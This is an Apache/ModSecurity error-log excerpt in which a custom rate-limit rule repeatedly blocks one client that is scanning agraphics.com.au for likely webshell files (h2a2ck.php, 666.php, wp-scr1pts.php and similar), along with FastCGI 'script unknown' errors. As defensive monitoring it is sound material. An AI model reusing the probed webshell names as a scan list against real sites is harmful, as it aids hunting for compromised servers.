[Wed Feb 11 16:36:16.366877 2026] [:error] [pid 27966:tid 28045] [client 158.158.72.18:36439] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoo.php"] [unique_id "aYw_gF8HJ9ydyf0SPu55lwAAAI8"]
[Wed Feb 11 16:36:17.338157 2026] [:error] [pid 27964:tid 27981] [client 158.158.72.18:1931] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxekqlxb.php"] [unique_id "aYw_gcp0XgWYHLcQtEiWjwAAAAY"]
[Wed Feb 11 16:36:17.942139 2026] [:error] [pid 17401:tid 17410] [client 158.158.72.18:35698] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxekqlxb.php"] [unique_id "aYw_gQ0lHeayTY40t340rAAAAQc"]
[Wed Feb 11 16:36:18.706992 2026] [:error] [pid 22570:tid 22612] [client 158.158.72.18:34465] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxekqlxb.php"] [unique_id "aYw_giE5uSe043FXwQo6mAAAAcw"]
[Wed Feb 11 16:36:19.261061 2026] [:error] [pid 28073:tid 28082] [client 158.158.72.18:35693] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zxekqlxb.php"] [unique_id "aYw_g4eHYIlOlF-DsMx8YQAAAMc"]
[Wed Feb 11 16:36:19.755120 2026] [:error] [pid 22569:tid 22591] [client 158.158.72.18:35664] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scr1pts.php"] [unique_id "aYw_g8AhSI7iX9G3enj9ogAAAZI"]
[Wed Feb 11 16:36:20.266680 2026] [:error] [pid 27965:tid 28021] [client 158.158.72.18:33907] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scr1pts.php"] [unique_id "aYw_hNHLAUAIo8qpZyEhPQAAAFI"]
[Wed Feb 11 16:36:20.762503 2026] [:error] [pid 27965:tid 28010] [client 158.158.72.18:36405] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scr1pts.php"] [unique_id "aYw_hNHLAUAIo8qpZyEhPgAAAEc"]
[Wed Feb 11 16:36:21.388318 2026] [:error] [pid 22569:tid 22597] [client 158.158.72.18:34526] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-scr1pts.php"] [unique_id "aYw_hcAhSI7iX9G3enj9owAAAZg"]
[Wed Feb 11 16:36:21.998550 2026] [:error] [pid 28073:tid 28080] [client 158.158.72.18:36443] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aYw_hYeHYIlOlF-DsMx8ZQAAAMU"]
[Wed Feb 11 16:36:22.499543 2026] [:error] [pid 28073:tid 28079] [client 158.158.72.18:36446] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aYw_hoeHYIlOlF-DsMx8ZwAAAMQ"]
[Wed Feb 11 16:36:23.183926 2026] [:error] [pid 17401:tid 17421] [client 158.158.72.18:35642] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aYw_hw0lHeayTY40t340uAAAARI"]
[Wed Feb 11 16:36:23.838380 2026] [:error] [pid 27966:tid 28040] [client 158.158.72.18:36445] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aYw_h18HJ9ydyf0SPu55oQAAAIo"]
[Wed Feb 11 16:36:24.685662 2026] [:error] [pid 28073:tid 28082] [client 158.158.72.18:36383] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aYw_iIeHYIlOlF-DsMx8fQAAAMc"]
[Wed Feb 11 16:36:25.344807 2026] [:error] [pid 27966:tid 28044] [client 158.158.72.18:36409] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aYw_iV8HJ9ydyf0SPu55ogAAAI4"]
[Wed Feb 11 16:36:25.826073 2026] [:error] [pid 22537:tid 22552] [client 158.158.72.18:1944] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aYw_iSfg2TagwM3bvQPGnQAAAU0"]
[Wed Feb 11 16:36:26.309011 2026] [:error] [pid 27964:tid 27987] [client 158.158.72.18:35689] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aYw_isp0XgWYHLcQtEiWlwAAAAw"]
[Wed Feb 11 16:36:26.850395 2026] [:error] [pid 28073:tid 28090] [client 158.158.72.18:35670] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gdn.php"] [unique_id "aYw_ioeHYIlOlF-DsMx8kQAAAM8"]
[Wed Feb 11 16:36:27.497845 2026] [:error] [pid 28073:tid 28093] [client 158.158.72.18:36437] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gdn.php"] [unique_id "aYw_i4eHYIlOlF-DsMx8mgAAANI"]
[Wed Feb 11 16:36:28.037647 2026] [:error] [pid 28073:tid 28076] [client 158.158.72.18:35701] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gdn.php"] [unique_id "aYw_jIeHYIlOlF-DsMx8pAAAAME"]
[Wed Feb 11 16:36:28.843197 2026] [:error] [pid 22537:tid 22562] [client 158.158.72.18:35666] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gdn.php"] [unique_id "aYw_jCfg2TagwM3bvQPGqgAAAVc"]
[Wed Feb 11 16:36:30.584755 2026] [:error] [pid 17401:tid 17426] [client 158.158.72.18:35646] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6bcwiqwj.php"] [unique_id "aYw_jg0lHeayTY40t3403gAAARc"]
[Wed Feb 11 16:36:31.336895 2026] [:error] [pid 22537:tid 22543] [client 158.158.72.18:35603] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6bcwiqwj.php"] [unique_id "aYw_jyfg2TagwM3bvQPGrgAAAUQ"]
[Wed Feb 11 16:36:32.271709 2026] [:error] [pid 22570:tid 22611] [client 158.158.72.18:35601] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6bcwiqwj.php"] [unique_id "aYw_kCE5uSe043FXwQo6sAAAAcs"]
[Wed Feb 11 16:36:33.140260 2026] [:error] [pid 22570:tid 22607] [client 158.158.72.18:35652] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/6bcwiqwj.php"] [unique_id "aYw_kSE5uSe043FXwQo6tQAAAcc"]
[Wed Feb 11 16:36:33.947192 2026] [:error] [pid 17401:tid 17427] [client 158.158.72.18:35655] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mar.php"] [unique_id "aYw_kQ0lHeayTY40t3405wAAARg"]
[Wed Feb 11 16:36:34.746236 2026] [:error] [pid 27966:tid 28053] [client 158.158.72.18:35598] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mar.php"] [unique_id "aYw_kl8HJ9ydyf0SPu55qgAAAJc"]
[Wed Feb 11 16:36:35.350311 2026] [:error] [pid 22569:tid 22574] [client 158.158.72.18:35634] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mar.php"] [unique_id "aYw_k8AhSI7iX9G3enj9swAAAYE"]
[Wed Feb 11 16:36:36.156074 2026] [:error] [pid 27966:tid 28047] [client 158.158.72.18:35604] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mar.php"] [unique_id "aYw_lF8HJ9ydyf0SPu55rAAAAJE"]
[Wed Feb 11 16:36:36.699334 2026] [:error] [pid 17401:tid 17407] [client 158.158.72.18:35641] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws69.php"] [unique_id "aYw_lA0lHeayTY40t340_wAAAQQ"]
[Wed Feb 11 16:36:37.254993 2026] [:error] [pid 28073:tid 28085] [client 158.158.72.18:36373] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws69.php"] [unique_id "aYw_lYeHYIlOlF-DsMx8xQAAAMo"]
[Wed Feb 11 16:36:37.898644 2026] [:error] [pid 27966:tid 28033] [client 158.158.72.18:34547] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws69.php"] [unique_id "aYw_lV8HJ9ydyf0SPu55rwAAAIM"]
[Wed Feb 11 16:36:38.522502 2026] [:error] [pid 28073:tid 28078] [client 158.158.72.18:35620] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws69.php"] [unique_id "aYw_loeHYIlOlF-DsMx8yQAAAMM"]
[Wed Feb 11 16:36:39.137937 2026] [:error] [pid 28073:tid 28091] [client 158.158.72.18:35614] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "aYw_l4eHYIlOlF-DsMx8zQAAANA"]
[Wed Feb 11 16:36:39.850500 2026] [:error] [pid 27965:tid 28014] [client 158.158.72.18:35688] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "aYw_l9HLAUAIo8qpZyEhXwAAAEs"]
[Wed Feb 11 16:36:40.343335 2026] [:error] [pid 27966:tid 28051] [client 158.158.72.18:35126] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "aYw_mF8HJ9ydyf0SPu55swAAAJU"]
[Wed Feb 11 16:36:40.871211 2026] [:error] [pid 22570:tid 22622] [client 158.158.72.18:35590] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "aYw_mCE5uSe043FXwQo6zgAAAdY"]
[Wed Feb 11 16:36:41.467984 2026] [:error] [pid 17401:tid 17413] [client 158.158.72.18:36357] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aYw_mQ0lHeayTY40t341FAAAAQo"]
[Wed Feb 11 16:36:41.947942 2026] [:error] [pid 22569:tid 22589] [client 158.158.72.18:36956] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aYw_mcAhSI7iX9G3enj9wgAAAZA"]
[Wed Feb 11 16:36:42.476002 2026] [:error] [pid 22537:tid 22554] [client 158.158.72.18:36452] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aYw_mifg2TagwM3bvQPGuAAAAU8"]
[Wed Feb 11 16:36:42.967463 2026] [:error] [pid 22537:tid 22543] [client 158.158.72.18:36926] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "aYw_mifg2TagwM3bvQPGuQAAAUQ"]
[Wed Feb 11 16:36:43.452831 2026] [:error] [pid 22537:tid 22544] [client 158.158.72.18:1932] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aYw_myfg2TagwM3bvQPGvQAAAUU"]
[Wed Feb 11 16:36:43.948997 2026] [:error] [pid 27964:tid 27998] [client 158.158.72.18:36870] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aYw_m8p0XgWYHLcQtEiWpAAAABc"]
[Wed Feb 11 16:36:44.439248 2026] [proxy_fcgi:error] [pid 22570:tid 22612] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:44.736404 2026] [proxy_fcgi:error] [pid 22570:tid 22623] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:44.981186 2026] [proxy_fcgi:error] [pid 22570:tid 22614] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:45.254215 2026] [proxy_fcgi:error] [pid 22570:tid 22615] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:45.497029 2026] [proxy_fcgi:error] [pid 22570:tid 22609] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:45.740467 2026] [proxy_fcgi:error] [pid 22570:tid 22611] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:45.985564 2026] [proxy_fcgi:error] [pid 22570:tid 22607] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:46.228845 2026] [proxy_fcgi:error] [pid 22570:tid 22617] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:46.476710 2026] [proxy_fcgi:error] [pid 22570:tid 22618] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:46.719922 2026] [proxy_fcgi:error] [pid 22570:tid 22619] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:46.986334 2026] [proxy_fcgi:error] [pid 22570:tid 22610] [client 158.158.72.18:36356] AH01071: Got error 'Primary script unknown'
[Wed Feb 11 16:36:47.262384 2026] [:error] [pid 22570:tid 22613] [client 158.158.72.18:36356] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aYw_nyE5uSe043FXwQo63AAAAc0"]
[Wed Feb 11 16:36:47.795811 2026] [:error] [pid 22569:tid 22594] [client 158.158.72.18:36878] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aYw_n8AhSI7iX9G3enj9ywAAAZU"]
[Wed Feb 11 16:36:48.369838 2026] [:error] [pid 22570:tid 22606] [client 158.158.72.18:1972] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aYw_oCE5uSe043FXwQo63QAAAcY"]
[Wed Feb 11 16:36:49.197126 2026] [:error] [pid 28073:tid 28086] [client 158.158.72.18:36931] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aYw_oYeHYIlOlF-DsMx83QAAAMs"]
[Wed Feb 11 16:36:50.192175 2026] [:error] [pid 22570:tid 22604] [client 158.158.72.18:1920] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aYw_oiE5uSe043FXwQo63gAAAcQ"]
[Wed Feb 11 16:36:51.456871 2026] [:error] [pid 28073:tid 28095] [client 158.158.72.18:36868] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aYw_o4eHYIlOlF-DsMx86QAAANQ"]
[Wed Feb 11 16:36:52.405861 2026] [:error] [pid 27964:tid 27989] [client 158.158.72.18:36882] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aYw_pMp0XgWYHLcQtEiW1QAAAA4"]
[Wed Feb 11 16:36:53.019669 2026] [:error] [pid 22570:tid 22601] [client 158.158.72.18:36474] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/h2a2ck.php"] [unique_id "aYw_pSE5uSe043FXwQo64gAAAcE"]
[Wed Feb 11 16:36:53.868072 2026] [:error] [pid 27965:tid 28008] [client 158.158.72.18:36972] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cytyr.php"] [unique_id "aYw_pdHLAUAIo8qpZyEhfAAAAEU"]
[Wed Feb 11 16:36:54.853255 2026] [:error] [pid 22569:tid 22580] [client 158.158.72.18:36902] [client 158.158.72.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cytyr.php"] [unique_id "aYw_psAhSI7iX9G3enj91QAAAYc"]
